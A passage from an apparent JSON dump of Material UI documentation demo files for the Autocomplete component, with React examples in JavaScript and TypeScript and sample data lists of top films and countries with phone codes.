{ title: 'Interstellar', year: 2014 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/CheckboxesTags.tsx",
    "content": "import TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport CheckBoxOutlineBlankIcon from '@mui/icons-material/CheckBoxOutlineBlank';\nimport CheckBoxIcon from '@mui/icons-material/CheckBox';\n\nexport default function CheckboxesTags() {\n  return (\n    <Autocomplete\n      multiple\n      id=\"checkboxes-tags-demo\"\n      options={top100Films}\n      disableCloseOnSelect\n      getOptionLabel={(option) => option.title}\n      renderOption={(props, option, { selected }) => {\n        const { key, ...optionProps } = props;\n        const SelectionIcon = selected ? CheckBoxIcon : CheckBoxOutlineBlankIcon;\n\n        return (\n          <li key={key} {...optionProps}>\n            <SelectionIcon\n              fontSize=\"small\"\n              style={{ marginRight: 8, padding: 9, boxSizing: 'content-box' }}\n            />\n            {option.title}\n          </li>\n        );\n      }}\n      style={{ width: 500 }}\n      renderInput={(params) => (\n        <TextField {...params} label=\"Checkboxes\" placeholder=\"Favorites\" />\n      )}\n    />\n  );\n}\n\n// Top 100 films as rated by IMDb users. http://www.imdb.com/chart/top\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n  { title: \"Schindler's List\", year: 1993 },\n  { title: 'Pulp Fiction', year: 1994 },\n  {\n    title: 'The Lord of the Rings: The Return of the King',\n    year: 2003,\n  },\n  { title: 'The Good, the Bad and the Ugly', year: 1966 },\n  { title: 'Fight Club', year: 1999 },\n  {\n    title: 'The Lord of the Rings: The Fellowship of the Ring',\n    year: 2001,\n  },\n  {\n    title: 'Star Wars: Episode V - The Empire Strikes Back',\n    year: 1980,\n  },\n  { title: 'Forrest Gump', year: 1994 },\n  { title: 'Inception', year: 2010 },\n  {\n    title: 'The Lord of the Rings: The Two Towers',\n    year: 2002,\n  },\n  { title: \"One Flew Over the Cuckoo's Nest\", year: 1975 },\n  { title: 'Goodfellas', year: 1990 },\n  { title: 'The Matrix', year: 1999 },\n  { title: 'Seven Samurai', year: 1954 },\n  {\n    title: 'Star Wars: Episode IV - A New Hope',\n    year: 1977,\n  },\n  { title: 'City of God', year: 2002 },\n  { title: 'Se7en', year: 1995 },\n  { title: 'The Silence of the Lambs', year: 1991 },\n  { title: \"It's a Wonderful Life\", year: 1946 },\n  { title: 'Life Is Beautiful', year: 1997 },\n  { title: 'The Usual Suspects', year: 1995 },\n  { title: 'Léon: The Professional', year: 1994 },\n  { title: 'Spirited Away', year: 2001 },\n  { title: 'Saving Private Ryan', year: 1998 },\n  { title: 'Once Upon a Time in the West', year: 1968 },\n  { title: 'American History X', year: 1998 },\n  { title: 'Interstellar', year: 2014 },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/ComboBox.js",
    "content": "import TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport top100Films from './top100Films';\n\nexport default function ComboBox() {\n  return (\n    <Autocomplete\n      disablePortal\n      options={top100Films}\n      sx={{ width: 300 }}\n      renderInput={(params) => <TextField {...params} label=\"Movie\" />}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/ComboBox.tsx",
    "content": "import TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport top100Films from './top100Films';\n\nexport default function ComboBox() {\n  return (\n    <Autocomplete\n      disablePortal\n      options={top100Films}\n      sx={{ width: 300 }}\n      renderInput={(params) => <TextField {...params} label=\"Movie\" />}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/ComboBox.tsx.preview",
    "content": "<Autocomplete\n  disablePortal\n  options={top100Films}\n  sx={{ width: 300 }}\n  renderInput={(params) => <TextField {...params} label=\"Movie\" />}\n/>"
  },
  {
    "path": "docs/data/material/components/autocomplete/ControllableStates.js",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\n\nconst options = ['Option 1', 'Option 2'];\n\nexport default function ControllableStates() {\n  const [value, setValue] = React.useState(options[0]);\n  const [inputValue, setInputValue] = React.useState('');\n\n  return (\n    <div>\n      <div>{`value: ${value !== null ? `'${value}'` : 'null'}`}</div>\n      <div>{`inputValue: '${inputValue}'`}</div>\n      <br />\n      <Autocomplete\n        value={value}\n        onChange={(event, newValue) => {\n          setValue(newValue);\n        }}\n        inputValue={inputValue}\n        onInputChange={(event, newInputValue) => {\n          setInputValue(newInputValue);\n        }}\n        id=\"controllable-states-demo\"\n        options={options}\n        sx={{ width: 300 }}\n        renderInput={(params) => <TextField {...params} label=\"Controllable\" />}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/ControllableStates.tsx",
    "content": "import * as React from 'react';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\n\nconst options = ['Option 1', 'Option 2'];\n\nexport default function ControllableStates() {\n  const [value, setValue] = React.useState<string | null>(options[0]);\n  const [inputValue, setInputValue] = React.useState('');\n\n  return (\n    <div>\n      <div>{`value: ${value !== null ? `'${value}'` : 'null'}`}</div>\n      <div>{`inputValue: '${inputValue}'`}</div>\n      <br />\n      <Autocomplete\n        value={value}\n        onChange={(event: any, newValue: string | null) => {\n          setValue(newValue);\n        }}\n        inputValue={inputValue}\n        onInputChange={(event, newInputValue) => {\n          setInputValue(newInputValue);\n        }}\n        id=\"controllable-states-demo\"\n        options={options}\n        sx={{ width: 300 }}\n        renderInput={(params) => <TextField {...params} label=\"Controllable\" />}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/CountrySelect.js",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\n\nexport default function CountrySelect() {\n  return (\n    <Autocomplete\n      id=\"country-select-demo\"\n      sx={{ width: 300 }}\n      options={countries}\n      autoHighlight\n      getOptionLabel={(option) => option.label}\n      renderOption={(props, option) => {\n        const { key, ...optionProps } = props;\n        return (\n          <Box\n            key={key}\n            component=\"li\"\n            sx={{ '& > img': { mr: 2, flexShrink: 0 } }}\n            {...optionProps}\n          >\n            <img\n              loading=\"lazy\"\n              width=\"20\"\n              srcSet={`https://flagcdn.com/w40/${option.code.toLowerCase()}.png 2x`}\n              src={`https://flagcdn.com/w20/${option.code.toLowerCase()}.png`}\n              alt=\"\"\n            />\n            {option.label} ({option.code}) +{option.phone}\n          </Box>\n        );\n      }}\n      renderInput={(params) => (\n        <TextField\n          {...params}\n          label=\"Choose a country\"\n          slotProps={{\n            ...params.slotProps,\n            htmlInput: {\n              ...params.slotProps.htmlInput,\n              autoComplete: 'new-password', // disable autocomplete and autofill\n            },\n          }}\n        />\n      )}\n    />\n  );\n}\n\n// From https://bitbucket.org/atlassian/atlaskit-mk-2/raw/4ad0e56649c3e6c973e226b7efaeb28cb240ccb0/packages/core/select/src/data/countries.js\nconst countries = [\n  { code: 'AD', label: 'Andorra', phone: '376' },\n  {\n    code: 'AE',\n    label: 'United Arab Emirates',\n    phone: '971',\n  },\n  { code: 'AF', label: 'Afghanistan', phone: '93' },\n  {\n    code: 'AG',\n    label: 'Antigua and Barbuda',\n    phone: '1-268',\n  },\n  { code: 'AI', label: 'Anguilla', phone: '1-264' },\n  { code: 'AL', label: 'Albania', phone: '355' },\n  { code: 'AM', label: 'Armenia', phone: '374' },\n  { code: 'AO', label: 'Angola', phone: '244' },\n  { code: 'AQ', label: 'Antarctica', phone: '672' },\n  { code: 'AR', label: 'Argentina', phone: '54' },\n  { code: 'AS', label: 'American Samoa', phone: '1-684' },\n  { code: 'AT', label: 'Austria', phone: '43' },\n  {\n    code: 'AU',\n    label: 'Australia',\n    phone: '61',\n    suggested: true,\n  },\n  { code: 'AW', label: 'Aruba', phone: '297' },\n  { code: 'AX', label: 'Alland Islands', phone: '358' },\n  { code: 'AZ', label: 'Azerbaijan', phone: '994' },\n  {\n    code: 'BA',\n    label: 'Bosnia and Herzegovina',\n    phone: '387',\n  },\n  { code: 'BB', label: 'Barbados', phone: '1-246' },\n  { code: 'BD', label: 'Bangladesh', phone: '880' },\n  { code: 'BE', label: 'Belgium', phone: '32' },\n  { code: 'BF', label: 'Burkina Faso', phone: '226' },\n  { code: 'BG', label: 'Bulgaria', phone: '359' },\n  { code: 'BH', label: 'Bahrain', phone: '973' },\n  { code: 'BI', label: 'Burundi', phone: '257' },\n  { code: 'BJ', label: 'Benin', phone: '229' },\n  { code: 'BL', label: 'Saint Barthelemy', phone: '590' },\n  { code: 'BM', label: 'Bermuda', phone: '1-441' },\n  { code: 'BN', label: 'Brunei Darussalam', phone: '673' },\n  { code: 'BO', label: 'Bolivia', phone: '591' },\n  { code: 'BR', label: 'Brazil', phone: '55' },\n  { code: 'BS', label: 'Bahamas', phone: '1-242' },\n  { code: 'BT', label: 'Bhutan', phone: '975' },\n  { code: 'BV', label: 'Bouvet Island', phone: '47' },\n  { code: 'BW', label: 'Botswana', phone: '267' },\n  { code: 'BY', label: 'Belarus', phone: '375' },\n  { code: 'BZ', label: 'Belize', phone: '501' },\n  {\n    code: 'CA',\n    label: 'Canada',\n    phone: '1',\n    suggested: true,\n  },\n  {\n    code: 'CC',\n    label: 'Cocos (Keeling) Islands',\n    phone: '61',\n  },\n  {\n    code: 'CD',\n    label: 'Congo, Democratic Republic of the',\n    phone: '243',\n  },\n  {\n    code: 'CF',\n    label: 'Central African Republic',\n    phone: '236',\n  },\n  {\n    code: 'CG',\n    label: 'Congo, Republic of the',\n    phone: '242',\n  },\n  { code: 'CH', label: 'Switzerland', phone: '41' },\n  { code: 'CI', label: \"Cote d'Ivoire\", phone: '225' },\n  { code: 'CK', label: 'Cook Islands', phone: '682' },\n  { code: 'CL', label: 'Chile', phone: '56' },\n  { code: 'CM', label: 'Cameroon', phone: '237' },\n  { code: 'CN', label: 'China', phone: '86' },\n  { code: 'CO', label: 'Colombia', phone: '57' },\n  { code: 'CR', label: 'Costa Rica', phone: '506' },\n  { code: 'CU', label: 'Cuba', phone: '53' },\n  { code: 'CV', label: 'Cape Verde', phone: '238' },\n  { code: 'CW', label: 'Curacao', phone: '599' },\n  { code: 'CX', label: 'Christmas Island', phone: '61' },\n  { code: 'CY', label: 'Cyprus', phone: '357' },\n  { code: 'CZ', label: 'Czech Republic', phone: '420' },\n  {\n    code: 'DE',\n    label: 'Germany',\n    phone: '49',\n    suggested: true,\n  },\n  { code: 'DJ', label: 'Djibouti', phone: '253' },\n  { code: 'DK', label: 'Denmark', phone: '45' },\n  { code: 'DM', label: 'Dominica', phone: '1-767' },\n  {\n    code: 'DO',\n    label: 'Dominican Republic',\n    phone: '1-809',\n  },\n  { code: 'DZ', label: 'Algeria', phone: '213' },\n  { code: 'EC', label: 'Ecuador', phone: '593' },\n  { code: 'EE', label: 'Estonia', phone: '372' },\n  { code: 'EG', label: 'Egypt', phone: '20' },\n  { code: 'EH', label: 'Western Sahara', phone: '212' },\n  { code: 'ER', label: 'Eritrea', phone: '291' },\n  { code: 'ES', label: 'Spain', phone: '34' },\n  { code: 'ET', label: 'Ethiopia', phone: '251' },\n  { code: 'FI', label: 'Finland', phone: '358' },\n  { code: 'FJ', label: 'Fiji', phone: '679' },\n  {\n    code: 'FK',\n    label: 'Falkland Islands (Malvinas)',\n    phone: '500',\n  },\n  {\n    code: 'FM',\n    label: 'Micronesia, Federated States of',\n    phone: '691',\n  },\n  { code: 'FO', label: 'Faroe Islands', phone: '298' },\n  {\n    code: 'FR',\n    label: 'France',\n    phone: '33',\n    suggested: true,\n  },\n  { code: 'GA', label: 'Gabon', phone: '241' },\n  { code: 'GB', label: 'United Kingdom', phone: '44' },\n  { code: 'GD', label: 'Grenada', phone: '1-473' },\n  { code: 'GE', label: 'Georgia', phone: '995' },\n  { code: 'GF', label: 'French Guiana', phone: '594' },\n  { code: 'GG', label: 'Guernsey', phone: '44' },\n  { code: 'GH', label: 'Ghana', phone: '233' },\n  { code: 'GI', label: 'Gibraltar', phone: '350' },\n  { code: 'GL', label: 'Greenland', phone: '299' },\n  { code: 'GM', label: 'Gambia', phone: '220' },\n  { code: 'GN', label: 'Guinea', phone: '224' },\n  { code: 'GP', label: 'Guadeloupe', phone: '590' },\n  { code: 'GQ', label: 'Equatorial Guinea', phone: '240' },\n  { code: 'GR', label: 'Greece', phone: '30' },\n  {\n    code: 'GS',\n    label: 'South Georgia and the South Sandwich Islands',\n    phone: '500',\n  },\n  { code: 'GT', label: 'Guatemala', phone: '502' },\n  { code: 'GU', label: 'Guam', phone: '1-671' },\n  { code: 'GW', label: 'Guinea-Bissau', phone: '245' },\n  { code: 'GY', label: 'Guyana', phone: '592' },\n  { code: 'HK', label: 'Hong Kong', phone: '852' },\n  {\n    code: 'HM',\n    label: 'Heard Island and McDonald Islands',\n    phone: '672',\n  },\n  { code: 'HN', label: 'Honduras', phone: '504' },\n  { code: 'HR', label: 'Croatia', phone: '385' },\n  { code: 'HT', label: 'Haiti', phone: '509' },\n  { code: 'HU', label: 'Hungary', phone: '36' },\n  { code: 'ID', label: 'Indonesia', phone: '62' },\n  { code: 'IE', label: 'Ireland', phone: '353' },\n  { code: 'IL', label: 'Israel', phone: '972' },\n  { code: 'IM', label: 'Isle of Man', phone: '44' },\n  { code: 'IN', label: 'India', phone: '91' },\n  {\n    code: 'IO',\n    label: 'British Indian Ocean Territory',\n    phone: '246',\n  },\n  { code: 'IQ', label: 'Iraq', phone: '964' },\n  {\n    code: 'IR',\n    label: 'Iran, Islamic Republic of',\n    phone: '98',\n  },\n  { code: 'IS', label: 'Iceland', phone: '354' },\n  { code: 'IT', label: 'Italy', phone: '39' },\n  { code: 'JE', label: 'Jersey', phone: '44' },\n  { code: 'JM', label: 'Jamaica', phone: '1-876' },\n  { code: 'JO', label: 'Jordan', phone: '962' },\n  {\n    code: 'JP',\n    label: 'Japan',\n    phone: '81',\n    suggested: true,\n  },\n  { code: 'KE', label: 'Kenya', phone: '254' },\n  { code: 'KG', label: 'Kyrgyzstan', phone: '996' },\n  { code: 'KH', label: 'Cambodia', phone: '855' },\n  { code: 'KI', label: 'Kiribati', phone: '686' },\n  { code: 'KM', label: 'Comoros', phone: '269' },\n  {\n    code: 'KN',\n    label: 'Saint Kitts and Nevis',\n    phone: '1-869',\n  },\n  {\n    code: 'KP',\n    label: \"Korea, Democratic People's Republic of\",\n    phone: '850',\n  },\n  { code: 'KR', label: 'Korea, Republic of', phone: '82' },\n  { code: 'KW', label: 'Kuwait', phone: '965' },\n  { code: 'KY', label: 'Cayman Islands', phone: '1-345' },\n  { code: 'KZ', label: 'Kazakhstan', phone: '7' },\n  {\n    code: 'LA',\n    label: \"Lao People's Democratic Republic\",\n    phone: '856',\n  },\n  { code: 'LB', label: 'Lebanon', phone: '961' },\n  { code: 'LC', label: 'Saint Lucia', phone: '1-758' },\n  { code: 'LI', label: 'Liechtenstein', phone: '423' },\n  { code: 'LK', label: 'Sri Lanka', phone: '94' },\n  { code: 'LR', label: 'Liberia', phone: '231' },\n  { code: 'LS', label: 'Lesotho', phone: '266' },\n  { code: 'LT', label: 'Lithuania', phone: '370' },\n  { code: 'LU', label: 'Luxembourg', phone: '352' },\n  { code: 'LV', label: 'Latvia', phone: '371' },\n  { code: 'LY', label: 'Libya', phone: '218' },\n  { code: 'MA', label: 'Morocco', phone: '212' },\n  { code: 'MC', label: 'Monaco', phone: '377' },\n  {\n    code: 'MD',\n    label: 'Moldova, Republic of',\n    phone: '373',\n  },\n  { code: 'ME', label: 'Montenegro', phone: '382' },\n  {\n    code: 'MF',\n    label: 'Saint Martin (French part)',\n    phone: '590',\n  },\n  { code: 'MG', label: 'Madagascar', phone: '261' },\n  { code: 'MH', label: 'Marshall Islands', phone: '692' },\n  {\n    code: 'MK',\n    label: 'Macedonia, the Former Yugoslav Republic of',\n    phone: '389',\n  },\n  { code: 'ML', label: 'Mali', phone: '223' },\n  { code: 'MM', label: 'Myanmar', phone: '95' },\n  { code: 'MN', label: 'Mongolia', phone: '976' },\n  { code: 'MO', label: 'Macao', phone: '853' },\n  {\n    code: 'MP',\n    label: 'Northern Mariana Islands',\n    phone: '1-670',\n  },\n  { code: 'MQ', label: 'Martinique', phone: '596' },\n  { code: 'MR', label: 'Mauritania', phone: '222' },\n  { code: 'MS', label: 'Montserrat', phone: '1-664' },\n  { code: 'MT', label: 'Malta', phone: '356' },\n  { code: 'MU', label: 'Mauritius', phone: '230' },\n  { code: 'MV', label: 'Maldives', phone: '960' },\n  { code: 'MW', label: 'Malawi', phone: '265' },\n  { code: 'MX', label: 'Mexico', phone: '52' },\n  { code: 'MY', label: 'Malaysia', phone: '60' },\n  { code: 'MZ', label: 'Mozambique', phone: '258' },\n  { code: 'NA', label: 'Namibia', phone: '264' },\n  { code: 'NC', label: 'New Caledonia', phone: '687' },\n  { code: 'NE', label: 'Niger', phone: '227' },\n  { code: 'NF', label: 'Norfolk Island', phone: '672' },\n  { code: 'NG', label: 'Nigeria', phone: '234' },\n  { code: 'NI', label: 'Nicaragua', phone: '505' },\n  { code: 'NL', label: 'Netherlands', phone: '31' },\n  { code: 'NO', label: 'Norway', phone: '47' },\n  { code: 'NP', label: 'Nepal', phone: '977' },\n  { code: 'NR', label: 'Nauru', phone: '674' },\n  { code: 'NU', label: 'Niue', phone: '683' },\n  { code: 'NZ', label: 'New Zealand', phone: '64' },\n  { code: 'OM', label: 'Oman', phone: '968' },\n  { code: 'PA', label: 'Panama', phone: '507' },\n  { code: 'PE', label: 'Peru', phone: '51' },\n  { code: 'PF', label: 'French Polynesia', phone: '689' },\n  { code: 'PG', label: 'Papua New Guinea', phone: '675' },\n  { code: 'PH', label: 'Philippines', phone: '63' },\n  { code: 'PK', label: 'Pakistan', phone: '92' },\n  { code: 'PL', label: 'Poland', phone: '48' },\n  {\n    code: 'PM',\n    label: 'Saint Pierre and Miquelon',\n    phone: '508',\n  },\n  { code: 'PN', label: 'Pitcairn', phone: '870' },\n  { code: 'PR', label: 'Puerto Rico', phone: '1' },\n  {\n    code: 'PS',\n    label: 'Palestine, State of',\n    phone: '970',\n  },\n  { code: 'PT', label: 'Portugal', phone: '351' },\n  { code: 'PW', label: 'Palau', phone: '680' },\n  { code: 'PY', label: 'Paraguay', phone: '595' },\n  { code: 'QA', label: 'Qatar', phone: '974' },\n  { code: 'RE', label: 'Reunion', phone: '262' },\n  { code: 'RO', label: 'Romania', phone: '40' },\n  { code: 'RS', label: 'Serbia', phone: '381' },\n  { code: 'RU', label: 'Russian Federation', phone: '7' },\n  { code: 'RW', label: 'Rwanda', phone: '250' },\n  { code: 'SA', label: 'Saudi Arabia', phone: '966' },\n  { code: 'SB', label: 'Solomon Islands', phone: '677' },\n  { code: 'SC', label: 'Seychelles', phone: '248' },\n  { code: 'SD', label: 'Sudan', phone: '249' },\n  { code: 'SE', label: 'Sweden', phone: '46' },\n  { code: 'SG', label: 'Singapore', phone: '65' },\n  { code: 'SH', label: 'Saint Helena', phone: '290' },\n  { code: 'SI', label: 'Slovenia', phone: '386' },\n  {\n    code: 'SJ',\n    label: 'Svalbard and Jan Mayen',\n    phone: '47',\n  },\n  { code: 'SK', label: 'Slovakia', phone: '421' },\n  { code: 'SL', label: 'Sierra Leone', phone: '232' },\n  { code: 'SM', label: 'San Marino', phone: '378' },\n  { code: 'SN', label: 'Senegal', phone: '221' },\n  { code: 'SO', label: 'Somalia', phone: '252' },\n  { code: 'SR', label: 'Suriname', phone: '597' },\n  { code: 'SS', label: 'South Sudan', phone: '211' },\n  {\n    code: 'ST',\n    label: 'Sao Tome and Principe',\n    phone: '239',\n  },\n  { code: 'SV', label: 'El Salvador', phone: '503' },\n  {\n    code: 'SX',\n    label: 'Sint Maarten (Dutch part)',\n    phone: '1-721',\n  },\n  {\n    code: 'SY',\n    label: 'Syrian Arab Republic',\n    phone: '963',\n  },\n  { code: 'SZ', label: 'Swaziland', phone: '268' },\n  {\n    code: 'TC',\n    label: 'Turks and Caicos Islands',\n    phone: '1-649',\n  },\n  { code: 'TD', label: 'Chad', phone: '235' },\n  {\n    code: 'TF',\n    label: 'French Southern Territories',\n    phone: '262',\n  },\n  { code: 'TG', label: 'Togo', phone: '228' },\n  { code: 'TH', label: 'Thailand', phone: '66' },\n  { code: 'TJ', label: 'Tajikistan', phone: '992' },\n  { code: 'TK', label: 'Tokelau', phone: '690' },\n  { code: 'TL', label: 'Timor-Leste', phone: '670' },\n  { code: 'TM', label: 'Turkmenistan', phone: '993' },\n  { code: 'TN', label: 'Tunisia', phone: '216' },\n  { code: 'TO', label: 'Tonga', phone: '676' },\n  { code: 'TR', label: 'Turkey', phone: '90' },\n  {\n    code: 'TT',\n    label: 'Trinidad and Tobago',\n    phone: '1-868',\n  },\n  { code: 'TV', label: 'Tuvalu', phone: '688' },\n  {\n    code: 'TW',\n    label: 'Taiwan',\n    phone: '886',\n  },\n  {\n    code: 'TZ',\n    label: 'United Republic of Tanzania',\n    phone: '255',\n  },\n  { code: 'UA', label: 'Ukraine', phone: '380' },\n  { code: 'UG', label: 'Uganda', phone: '256' },\n  {\n    code: 'US',\n    label: 'United States',\n    phone: '1',\n    suggested: true,\n  },\n  { code: 'UY', label: 'Uruguay', phone: '598' },\n  { code: 'UZ', label: 'Uzbekistan', phone: '998' },\n  {\n    code: 'VA',\n    label: 'Holy See (Vatican City State)',\n    phone: '379',\n  },\n  {\n    code: 'VC',\n    label: 'Saint Vincent and the Grenadines',\n    phone: '1-784',\n  },\n  { code: 'VE', label: 'Venezuela', phone: '58' },\n  {\n    code: 'VG',\n    label: 'British Virgin Islands',\n    phone: '1-284',\n  },\n  {\n    code: 'VI',\n    label: 'US Virgin Islands',\n    phone: '1-340',\n  },\n  { code: 'VN', label: 'Vietnam', phone: '84' },\n  { code: 'VU', label: 'Vanuatu', phone: '678' },\n  { code: 'WF', label: 'Wallis and Futuna', phone: '681' },\n  { code: 'WS', label: 'Samoa', phone: '685' },\n  { code: 'XK', label: 'Kosovo', phone: '383' },\n  { code: 'YE', label: 'Yemen', phone: '967' },\n  { code: 'YT', label: 'Mayotte', phone: '262' },\n  { code: 'ZA', label: 'South Africa', phone: '27' },\n  { code: 'ZM', label: 'Zambia', phone: '260' },\n  { code: 'ZW', label: 'Zimbabwe', phone: '263' },\n];\n"
  },
  {
    "path": "docs/data/material/components/autocomplete/CountrySelect.tsx",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\nimport Autocomplete from '@mui/material/Autocomplete';\n\nexport default function CountrySelect() {\n  return (\n    <Autocomplete\n      id=\"country-select-demo\"\n      sx={{ width: 300 }}\n      options={countries}\n      autoHighlight\n      getOptionLabel={(option) => option.label}\n      renderOption={(props, option) => {\n        const { key, ...optionProps } = props;\n        return (\n          <Box\n            key={key}\n            component=\"li\"\n            sx={{ '& > img': { mr: 2, flexShrink: 0 } }}\n            {...optionProps}\n          >\n            <img\n              loading=\"lazy\"\n              width=\"20\"\n              srcSet={`https://flagcdn.com/w40/${option.code.toLowerCase()}.png 2x`}\n              src={`https://flagcdn.com/w20/${option.code.toLowerCase()}.png`}\n              alt=\"\"\n            />\n            {option.label} ({option.code}) +{option.phone}\n          </Box>\n        );\n      }}\n      renderInput={(params) => (\n        <TextField\n          {...params}\n          label=\"Choose a country\"\n          slotProps={{\n            ...params.slotProps,\n            htmlInput: {\n              ...params.slotProps.htmlInput,\n              autoComplete: 'new-password', // disable autocomplete and autofill\n            },\n          }}\n        />\n      )}\n    />\n  );\n}\ninterface CountryType {\n  code: string;\n  label: string;\n  phone: string;\n  suggested?: boolean;\n}\n// From https://bitbucket.org/atlassian/atlaskit-mk-2/raw/4ad0e56649c3e6c973e226b7efaeb28cb240ccb0/packages/core/select/src/data/countries.js\nconst countries: readonly CountryType[] = [\n  { code: 'AD', label: 'Andorra', phone: '376' },\n  {\n    code: 'AE',\n    label: 'United Arab Emirates',\n    phone: '971',\n  },\n  { code: 'AF', label: 'Afghanistan', phone: '93' },\n  {\n    code: 'AG',\n    label: 'Antigua and Barbuda',\n    phone: '1-268',\n  },\n  { code: 'AI', label: 'Anguilla', phone: '1-264' },\n  { code: 'AL', label: 'Albania', phone: '355' },\n  { code: 'AM', label: 'Armenia', phone: '374' },\n  { code: 'AO', label: 'Angola', phone: '244' },\n  { code: 'AQ', label: 'Antarctica', phone: '672' },\n  { code: 'AR', label: 'Argentina', phone: '54' },\n  { code: 'AS', label: 'American Samoa', phone: '1-684' },\n  { code: 'AT', label: 'Austria', phone: '43' },\n  {\n    code: 'AU',\n    label: 'Australia',\n    phone: '61',\n    suggested: true,\n  },\n  { code: 'AW', label: 'Aruba', phone: '297' },\n  { code: 'AX', label: 'Alland Islands', phone: '358' },\n  { code: 'AZ', label: 'Azerbaijan', phone: '994' },\n  {\n    code: 'BA',\n    label: 'Bosnia and Herzegovina',\n    phone: '387',\n  },\n  { code: 'BB', label: 'Barbados', phone: '1-246' },\n  { code: 'BD', label: 'Bangladesh', phone: '880' },\n  { code: 'BE', label: 'Belgium', phone: '32' },\n  { code: 'BF', label: 'Burkina Faso', phone: '226' },\n  { code: 'BG', label: 'Bulgaria', phone: '359' },\n  { code: 'BH', label: 'Bahrain', phone: '973' },\n  { code: 'BI', label: 'Burundi', phone: '257' },\n  { code: 'BJ', label: 'Benin', phone: '229' },\n  { code: 'BL', label: 'Saint Barthelemy', phone: '590' },\n  { code: 'BM', label: 'Bermuda', phone: '1-441' },\n  { code: 'BN', label: 'Brunei Darussalam', phone: '673' },\n  { code: 'BO', label: 'Bolivia', phone: '591' },\n  { code: 'BR', label: 'Brazil', phone: '55' },\n  { code: 'BS', label: 'Bahamas', phone: '1-242' },\n  { code: 'BT', label: 'Bhutan', phone: '975' },\n  { code: 'BV', label: 'Bouvet Island', phone: '47' },\n  { code: 'BW', label: 'Botswana', phone: '267' },\n  { code: 'BY', label: 'Belarus', phone: '375' },\n  { code: 'BZ', label: 'Belize', phone: '501' },\n  {\n    code: 'CA',\n    label: 'Canada',\n    phone: '1',\n    suggested: true,\n  },\n  {\n    code: 'CC',\n    label: 'Cocos (Keeling) Islands',\n    phone: '61',\n  },\n  {\n    code: 'CD',\n    label: 'Congo, Democratic Republic of the',\n    phone: '243',\n  },\n  {\n    code: 'CF',\n    label: 'Central African Republic',\n    phone: '236',\n  },\n  {\n    code: 'CG',\n    label: 'Congo, Republic of the',\n    phone: '242',\n  },\n  { code: 'CH', label: 'Switzerland', phone: '41' },\n  { code: 'CI', label: \"Cote d'Ivoire\", phone: '225' },\n  { code: 'CK', label: 'Cook Islands', phone: '682' },\n  { code: 'CL', label: 'Chile', phone: '56' },\n  { code: 'CM', label: 'Cameroon', phone: '237' },\n  { code: 'CN', label: 'China', phone: '86' },\n  { code: 'CO', label: 'Colombia', phone: '57' },\n  { code: 'CR', label: 'Costa Rica', phone: '506' },\n  { code: 'CU', label: 'Cuba', phone: '53' },\n  { code: 'CV', label: 'Cape Verde', phone: '238' },\n  { code: 'CW', label: 'Curacao', phone: '599' },\n  { code: 'CX', label: 'Christmas Island', phone: '61' },\n  { code: 'CY', label: 'Cyprus', phone: '357' },\n  { code: 'CZ', label: 'Czech Republic', phone: '420' },\n  {\n    code: 'DE',\n    label: 'Germany',\n    phone: '49',\n    suggested: true,\n  },\n  { code: 'DJ', label: 'Djibouti', phone: '253' },\n  { code: 'DK', label: 'Denmark', phone: '45' },\n  { code: 'DM', label: 'Dominica', phone: '1-767' },\n  {\n    code: 'DO',\n    label: 'Dominican Republic',\n    phone: '1-809',\n  },\n  { code: 'DZ', label: 'Algeria', phone: '213' },\n  { code: 'EC', label: 'Ecuador', phone: '593' },\n  { code: 'EE', label: 'Estonia', phone: '372' },\n  { code: 'EG', label: 'Egypt', phone: '20' },\n  { code: 'EH', label: 'Western Sahara', phone: '212' },\n  { code: 'ER', label: 'Eritrea', phone: '291' },\n  { code: 'ES', label: 'Spain', phone: '34' },\n  { code: 'ET', label: 'Ethiopia', phone: '251' },\n  { code: 'FI', label: 'Finland', phone: '358' },\n  { code: 'FJ', label: 'Fiji', phone: '679' },\n  {\n    code: 'FK',\n    label: 'Falkland Islands (Malvinas)',\n    phone: '500',\n  },\n  {\n    code: 'FM',\n    label: 'Micronesia, Federated States of',\n    phone: '691',\n  },\n  { code: 'FO', label: 'Faroe Islands', phone: '298' },\n  {\n    code: 'FR',\n    label: 'France',\n    phone: '33',\n    suggested: true,\n  },\n  { code: 'GA', label: 'Gabon', phone: '241' },\n  { code: 'GB', label: 'United Kingdom', phone: '44' },\n  { code: 'GD', label: 'Grenada', phone: '1-473' },\n  { code: 'GE', label: 'Georgia', phone: '995' },\n  { code: 'GF', label: 'French Guiana', phone: '594' },\n  { code: 'GG', label: 'Guernsey', phone: '44' },\n  { code: 'GH', label: 'Ghana', phone: '233' },\n  { code: 'GI', label: 'Gibraltar', phone: '350' },\n  { code: 'GL', label: 'Greenland', phone: '299' },\n  { code: 'GM', label: 'Gambia', phone: '220' },\n  { code: 'GN', label: 'Guinea', phone: '224' },\n  { code: 'GP', label: 'Guadeloupe', phone: '590' },\n  { code: 'GQ', label: 'Equatorial Guinea', phone: '240' },\n  { code: 'GR', label: 'Greece', phone: '30' },\n  {\n    code: 'GS',\n    label: 'South Georgia and the South Sandwich Islands',\n    phone: '500',\n  },\n  { code: 'GT', label: 'Guatemala', phone: '502' },\n  { code: 'GU', label: 'Guam', phone: '1-671' },\n  { code: 'GW', label: 'Guinea-Bissau', phone: '245' },\n  { code: 'GY', label: 'Guyana', phone: 